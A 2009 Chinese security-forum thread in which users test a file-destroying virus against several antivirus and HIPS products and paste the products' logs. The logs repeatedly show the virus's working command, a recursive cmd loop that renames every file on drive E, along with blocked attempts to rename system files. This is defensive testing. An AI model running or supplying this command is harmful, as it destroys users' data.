藐视一切杀软

a2483844

不知道这病毒从那里冒出来的,反正很厉害,杀软检测不出来,该病毒目的就是把系统摧毁,很恐怖的,,

hddu

2009-10-13 06:29:44    运行应用程序      操作:阻止并结束进程
进程路径:E:\小刀编写。TMC病毒\小刀编写。TMC病毒.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c for /r e:\ %a in (*.*) do rename %a *.霸道无敌
触发规则:所有程序规则->系统程序设置->*\cmd.exe


2009-10-13 06:31:36    运行应用程序      操作:阻止
进程路径:E:\小刀编写。TMC病毒\小刀编写。TMC病毒.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c for /r e:\ %a in (*.*) do rename %a *.霸道无敌
触发规则:所有程序规则->系统程序设置->*\cmd.exe

[ 本帖最后由 hddu 于 2009-10-13 06:31 编辑 ]

hddu

允许运行，不停向系统写入数据，15分钟后手工结束进程，重启，系统正常。

2009-10-13 06:33:00    运行应用程序      操作:允许
进程路径:E:\小刀编写。TMC病毒\小刀编写。TMC病毒.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c for /r e:\ %a in (*.*) do rename %a *.霸道无敌
触发规则:所有程序规则->系统程序设置->*\cmd.exe

2009-10-13 06:33:01    创建文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:E:\Wopti_v7[1].94.9.422_V2_MyCrack.霸道无敌
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->?:\*

。。。。。。。

2009-10-13 06:36:11    创建文件      操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\conime.听潮拜佛
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%SystemDrive%\*

。。。。。。。

[ 本帖最后由 hddu 于 2009-10-13 07:19 编辑 ]

wptyh73hm

2009-10-13 07:03:21    创建新进程    阻止
进程: c:\documents and settings\administrator\local settings\temp\7zo2.tmp\小刀编写。tmc病毒.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd /c for /r e:\ %a in (*.*) do rename %a *.霸道无敌
规则: [应用程序组]限制的系统程序 -> [应用程序]c:\windows\system32\cmd.exe

风之幻想

MSE无反应

edwardcl

ik  kill it

benq80282

小紅傘未偵測到!

X子很嚣张。。。。迫不及待的想帮我关机。。。。




就是不知道你能关得了么。。。。





[ 本帖最后由 冰比冰水冰 于 2009-10-13 09:37 编辑 ]

kerry

NIS  MISS。。
看了楼上的，，不敢打开了~~~~

oy-ll

也没什么特别的，就是删除或更改系统盘和E盘中的文件，用HIPS轻易就能防住。